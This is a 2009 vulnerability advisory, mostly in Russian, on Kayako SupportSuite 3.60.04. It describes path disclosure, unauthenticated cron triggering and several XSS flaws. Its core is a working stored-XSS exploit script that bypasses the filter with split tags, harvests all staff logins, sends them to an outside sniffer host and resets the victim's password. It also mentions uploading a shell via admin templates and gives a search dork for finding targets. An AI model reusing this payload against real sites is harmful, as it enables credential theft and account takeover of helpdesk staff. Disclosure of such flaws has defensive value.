Kayako SupportSuite version 3.60.04

2009-12-23T00:00:00
ID SECURITYVULNS:DOC:22989
Type securityvulns
Reporter Securityvulns
Modified 2009-12-23T00:00:00

Description

[Product]

Kayako SupportSuite version 3.60.04

[Url]

http://www.kayako.com/solutions/supportsuite/

[Path Disclosure]

http://supportsite/rss/index.php?_m=tickets&_a=view&group=default

Fatal error: view action is not registered in \includes\functions.php on line 754

P.S. Только если не давится вывод ошибок

[Cron]

Неавторизованный запуск задач внутреннего крона данного продукта

<form action="http://supportsite/cron/index.php" method="post"> <input value="d" name="_t"> <input type="submit"> </form>

Пример: tickets

При ссылке в action: http://supportsite/cron/index.php?debug=1

Получаем:

======== cron_autoclose.php ======== 1: Autoclose system is enabled, starting up... 2: List of autoclose statuses: 3: List of departments monitored by autoclose system: 4: Auto close target status: NNN 5: ======== end cron_autoclose.php ========

Как использовать не придумал.

[Xss]

  1. Против обычного пользователя:

Не фильтруется название темы [пример темы: <script>alert('xss')</script>] в тикете, и при обращении по ссылке [Post Reply][ http://supportsite/index.php?_m=tickets&_a=postreply&ticketid=NNN] отрабатывает XSS

  1. Против стаффа/админа - возможность оставить ссылку в теле тикета:

<a href="http://evilsite/evipage.html">Link text</a>

где возможно размещение iframe с кодом

http://supportsite/staff/index.php?_m=tickets&_a=reports&type=department&datefrom=0 "><script>alert('xss')</script><t

[Exploit]

Не фильтруются XSS вида <scr<img>ipt>alert('xss')</scr<img>ipt>

Тоже xss, позволяет пользователю отправить тикет со скриптом внутри, который выполнит любой сценарий с правами залогиненного администратора или стаффа

Также при любом типе стаффа можно узнать все логины, имеющиеся в системе, используя информацию со страницы с отправкой приватных сообщений.

Ну и используя вышеперечисленное, написал сплоит, который берет все логины из системы, снифит их на внешний сервер, и меняет пароль того, под кем был просмотрен тикет

В том случае, если пользователь имеет права администратора (можно определить по значениям id в cookie), то возможно влить шелл через изменение темплейтов в админке.

<scr<img>ipt>window.onload=init; function init() {document.body.innerHTML +=('<in<img>put id="change" value="0" type="hidden">');document.body.innerHTML += ('<ifr<img>ame id="loginframe" name="loginframe" style="display:none;" src=" http://supportsite/staff/index.php?_m=core&_a=composeprvmsg" onload="login();"></ifr<img>ame>');}function login() {if (document.getElementById('change').value==0) {var opt = window.frames['loginframe'].document.forms['swiftform'].elements['staffid[]'].innerHTML;opt = opt.split('OPTION').join('');opt = opt.split('<').join('');opt = opt.split('>').join('');opt = opt.split('"').join('');opt = opt.split('=').join('');opt = opt.split('selected').join('');opt = opt.split('value').join('');opt = opt.split('option').join('');opt = " http://sniffsite/snif/s.gif?users=" + escape(opt); document.body.innerHTML += ('<im<img>g name=imname src="'+opt+'" width="0" height="0" border="0">'); document.imname.src = opt+"&"+Math.random(); document.getElementById('change').value = 1;init2(); }}; function init2() {document.body.innerHTML +=('<in<img>put id="change2" value="0" type="hidden">');document.body.innerHTML += ('<ifr<img>ame id="passframe" name="passframe" style="display:none;" src=" http://supportsite/staff/index.php?_m=core&_a=changepassword" onload="pass();"></ifr<img>ame>');}function pass() {if (document.getElementById('change2').value==0) {window.frames['passframe'].document.forms['staffform'].elements['password'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].elements['passwordconfirm'].value = 'newpass';window.frames['passframe'].document.forms['staffform'].submit();document.getElementById('change2').value = 1;}}</sc<img>ript>

[Dork]

Kayako SupportSuite